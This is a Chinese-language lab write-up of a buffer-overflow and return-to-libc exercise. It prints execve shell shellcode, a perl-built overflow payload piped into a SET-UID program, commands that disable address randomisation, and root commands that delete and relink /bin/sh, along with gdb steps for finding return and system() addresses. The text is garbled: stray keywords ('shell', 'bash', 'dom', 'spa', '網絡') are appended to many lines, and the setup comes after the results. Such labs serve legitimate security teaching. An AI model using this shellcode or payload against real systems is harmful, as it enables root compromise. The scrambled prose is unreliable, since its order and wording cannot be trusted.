Return-to-libc攻擊
是一種特殊的緩衝區溢出攻擊,一般用於攻擊有「棧不可執行」保護措施的目標系統。本實驗中咱們放棄了讓漏洞程序執行堆棧中的shellcode
,將用system()
地址替換返回地址,用它調用一個root shell
。linux
實驗以前須要安裝execstack
.shell
設置堆棧可執行,並關閉地址隨機化。windows
shellcode的獲取是直接根據許心遠同窗的博客bash
獲得shellcode以下網絡
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
構造注入的payload
,格式爲dom
nop(即\x90)+shellcode+返回地址。
對返回地址進行猜想,嘗試找到shellcode
的地址:spa
打開一個新的終端,首先查看pid:發現pid爲18533d
用gdb調試:調試
ret一行即爲結束地址,從上圖中,讀出結束地址爲0x080484aecode
返回原來的終端:(回車要在設置斷點後進行,gdb執行c前按下,不然沒法確認進程號)
接下來設置斷點,並尋找注入的buf的地址:
而後咱們發現,先前輸入的01020304出如今了這裏,這裏就是返回地址。
01020304的位置就是返回地址的位置,即0xffffd33c
得到shellcode的地址後,再次返回先前的終端,先用exit命令退出該步驟,隨後修改input_shellcoded的值爲
perl -e 'print "A" x 32;print "\x40\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
而後在該窗口中,從新運行
(cat input_shellcode ; cat )| ./pwn5314
成功
首先須要建立環境
輸入以下指令,建立32位C語言可編譯的環境
sudo apt-get update sudo apt-get install lib32z1 libc6-dev-i386
完成安裝
輸入命令
linux32
進入32位linux操做環境
使用
/bin/bash
進入bash
接下來關閉地址隨機化
sudo sysctl -w kernel.randomize_va_space=0
爲了防止shell攻擊,若被攻擊,則程序被調用時會自動棄權,用zkj來代替它:
這裏用到的命令爲:
sudo su cd /bin rm sh ln -s zsh sh exit
在tmp文件夾下編輯「retlib.c」文件,並編譯設置SET-UID
我在windows下編譯完成後複製進tmp文件夾,所以替代了文件
進行編譯,
提權後退出。
建立文件「」getenvaddr.c」文件用於讀取環境變量,並編譯
在tmp文件夾下準備「exploit.c」文件用於攻擊
並對其進行編譯
編譯exploit再運行gdb,對其進行調試
接下來獲取system地址
經過上述獲取的地址,修改入exploit.c文件,並刪除以前生成的exploit和badfile文件,再次編譯,
編譯的方法是:將先前獲得的地址等填入exploit的相應位置
最後編譯運行retlib
攻擊成功